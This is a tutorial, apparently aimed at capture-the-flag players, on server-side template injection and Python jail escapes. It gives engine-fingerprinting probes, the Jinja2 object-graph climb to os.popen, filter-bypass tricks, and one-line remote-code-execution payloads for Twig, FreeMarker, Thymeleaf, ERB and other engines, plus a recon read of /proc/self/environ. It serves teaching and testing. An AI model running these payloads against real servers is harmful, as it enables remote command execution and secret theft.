Template injection and the long climb out of a Python jail
{{7*7}} returning 49 is the easy part. What follows is the interesting part: identifying the engine from one probe, then walking Python's object graph from an empty list to os.system with imports, dots, quotes, and underscores taken away from you.
Template injection and the pyjail are the same challenge told from two ends. In the web version you found a page that concatenates your input into a template string; in the misc version you were dropped straight into an eval with a character filter. Both hand you an expression evaluator inside a language you want to escape from, and both are solved by the same sequence: work out which evaluator, work out what it will still give you, and walk from there to something that runs commands.
This article walks that sequence properly, because the payloads people paste from cheatsheets fail constantly and it is never obvious why. Knowing *why* the standard Jinja payload is shaped the way it is turns a broken copy-paste into a two-minute repair.
Where the bug comes from
A template engine has two inputs: a template, which is code, and a context, which is data. The whole design rests on those staying separate. Passing user input as context is safe by construction - the engine escapes it, and it is never parsed as template syntax.
# Safe. The name is data; the engine escapes it and never parses it.
Template("Hello {{ name }}").render(name=user_input)
# Vulnerable. The name is now part of the template source.
Template("Hello " + user_input).render()This is the same shape as SQL injection - a parser that cannot tell where the developer's syntax ends and the user's data begins - and it has the same tell in a codebase: string concatenation or an f-string reaching a function whose job is to compile something. In a CTF you rarely get the source, so you find it by probing instead.
Probe one: does it evaluate at all?
Send a string that is syntactically meaningful to several engines at once. If any of them is parsing, one of the fragments will either evaluate or throw, and either outcome is a positive result.
${zzz}{{zzz}}<%= zzz %>[[zzz]]#{zzz}Then send arithmetic, because arithmetic proves evaluation rather than reflection. {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, {7*7}. If 49 comes back, you are executing code in whatever language backs that syntax.
Probe two: which engine?
Every escalation from here is language-specific, so identification is not optional. The syntax that worked narrows it to a family; one more probe usually settles it.
| Working probe | Family | Disambiguating probe | Reads as |
|---|---|---|---|
{{7*7}} → 49 | Jinja2 / Twig / Nunjucks | {{7*'7'}} | 7777777 = Jinja2 (Python); 49 = Twig (PHP) |
${7*7} → 49 | FreeMarker / Thymeleaf / Mako / JSP EL | ${7*'7'} | Error = Java-side; 7777777 = Mako (Python) |
<%= 7*7 %> → 49 | ERB (Ruby) or EJS (Node) | <%= 7.class %> | Integer = ERB |
#{7*7} → 49 | Ruby interpolation, or Thymeleaf | #{7*7} inside th: attribute | Thymeleaf if it only fires in an attribute |
{7*7} → 49 | Smarty (PHP) | {$smarty.version} | A version string confirms it |
Error messages are worth more than probes when you can get them. jinja2.exceptions.UndefinedError names the engine and the Python version in one line, and a Java stack trace tells you the class path, which tells you which gadgets exist. Any challenge that leaves debug mode on has given you the identification step for free.
The Jinja2 climb, derived rather than copied
Jinja2 is the most common CTF target, and the payload everyone pastes is long and opaque. It is much easier to fix when it breaks if you know what each segment is for. The situation: you can evaluate Python expressions, but the template namespace has no os, no __import__, and no import statement - Jinja's compiler simply does not emit one.
So you cannot import. What you can do is *navigate*, because Python's object model is a connected graph and every object in it can see the whole thing. Start from any literal at all.
''.__class__
# <class 'str'> -- from a value to its class
''.__class__.__mro__
# (<class 'str'>, <class 'object'>) -- the method resolution order
''.__class__.__mro__[1]
# <class 'object'> -- the root of every new-style class
''.__class__.__mro__[1].__subclasses__()
# [<class 'type'>, <class 'weakref'>, ... ] -- every loaded class in the process[].__class__.__bases__[0] gets you to the same place. __mro__[-1] is more robust across class hierarchies than __bases__[0].That last list is the whole point. object.__subclasses__() enumerates every class the interpreter has loaded, which in a real web application is several hundred - and some of them were written by people who had no idea a template would ever reach them. You are shopping for one that either holds a reference to a dangerous module or wraps a dangerous call.
The classic pick is warnings.catch_warnings, not because it is special but because it is almost always loaded and it carries a _module attribute pointing back at the warnings module - and every module has __builtins__, and __builtins__ has __import__. That is the whole trick: the sandbox removed __import__ from the template namespace, but not from every module object reachable from every class in the process.
# 1. Find the index rather than hardcoding it - it differs per interpreter.
{{ ''.__class__.__mro__[1].__subclasses__() }}
# 2. Or let the template find it for you, which survives version changes:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c()._module.__builtins__['__import__']('os').popen('id').read() }}
{% endif %}
{% endfor %}In Flask specifically there is a much shorter road, because the template namespace deliberately exposes application globals. {{ config }} prints the app config - which in a CTF frequently contains the flag directly - and {{ config.__class__.__init__.__globals__['os'].popen('id').read() }} reaches os through the globals of a bound method. {{ self._TemplateReference__context }}, {{ request.application }}, and {{ lipsum.__globals__ }} are variations on the same idea: find any object whose defining module already imported what you want.
When the characters are taken away
The pyjail is the same problem with an added constraint: a filter rejects certain characters before your expression is evaluated. Each banned character has a standard workaround, and they compose, so a jail that bans four things is usually still solvable by stacking four substitutions.
| Banned | Route around it |
|---|---|
. (attribute access) | getattr(x, 'attr'), or x|attr('attr') in Jinja, or x['attr'] where the object supports it |
_ (underscore) | Build names from strings: getattr(x, '\x5f\x5fclass\x5f\x5f'), or in Jinja use |attr(request.args.c) and pass the name in a query parameter |
| Quotes | chr(47) for /, str() of an int, request.args.x to smuggle a string in from elsewhere, or in Jinja dict(a=1)|join |
[ ] | __getitem__(0), .pop(0), |first, |list|first |
( ) | Jinja filters take arguments without parentheses in some positions; in pure Python, decorators and @ tricks. This is the hardest ban and often needs a completely different approach |
| Digits | len('aaaa'), True+True, or ~-~-0 |
| Spaces | (1,2) needs none; use \t, \n, or parentheses to separate tokens |
import, os, eval as substrings | String concatenation at evaluation time: 'o'+'s', 'ev'+'al', or reverse a string with [::-1] |
The useful mental move is to stop thinking of the filter as a wall and start thinking of it as a specification. It tells you exactly which construction the author expected you to use, which means the intended solution is a construction that produces the same effect without those bytes. A jail that bans quotes is telling you that the solution builds its strings from something already in scope.
One habit worth building: always run a reconnaissance expression first. dir(), globals().keys(), [c.__name__ for c in ().__class__.__mro__[-1].__subclasses__()], or in a restricted exec context print(open('/proc/self/environ').read()). Jails vary far more than the cheatsheets suggest, and thirty seconds of looking around tells you which of the sixty published techniques applies here.
The other engines, briefly
Jinja gets the attention, but the other engines are common enough to be worth recognising, and their escalations are usually much shorter because the languages behind them are less sandboxed to begin with.
| Engine | Language | Typical escalation |
|---|---|---|
| Twig | PHP | {{['id']|filter('system')}} or the registered _self environment functions |
| Smarty | PHP | {system('id')} where the security policy is not enabled |
| FreeMarker | Java | ${"freemarker.template.utility.Execute"?new()("id")} |
| Velocity | Java | #set($e="") then reach java.lang.Runtime through the class loader |
| Thymeleaf | Java | SpEL: ${T(java.lang.Runtime).getRuntime().exec('id')} |
| ERB | Ruby | <%= system('id') %>, or backticks around a command - Ruby barely resists |
| Mako | Python | <% import os %> works outright; Mako allows import blocks by design |
| Handlebars / Nunjucks | Node | Reach process via constructor chaining, then process.mainModule.require('child_process') |
Notice how much easier the Java and Ruby cases are. Jinja2's difficulty is a consequence of it being one of the few engines that actually tried to sandbox - which is why it is also the one worth learning in depth.
Proving it without wrecking the box
In a CTF you are aiming at a flag file and a destructive payload only costs you the challenge. In anything resembling real testing, prove execution with the least invasive thing that is unambiguous: id, hostname, whoami, or creating an empty file with your handle in the name. phpinfo() serves the same purpose on PHP. The point is a result that could not have been produced any other way, not a result that changes the system.
The short version
- Send the multi-syntax error probe, then arithmetic. Try both
{{7*7}}and bare7*7. - Identify the engine with one disambiguating probe, or read it off the stack trace.
- On Jinja2, look around first:
{{ config }},{{ ''.__class__.__mro__[1].__subclasses__() }}. - Climb the object graph to any module object, then to
__builtins__, then to__import__. - If characters are filtered, treat the filter as the specification for the intended construction.
- Prove execution with
id, and go and read the flag file.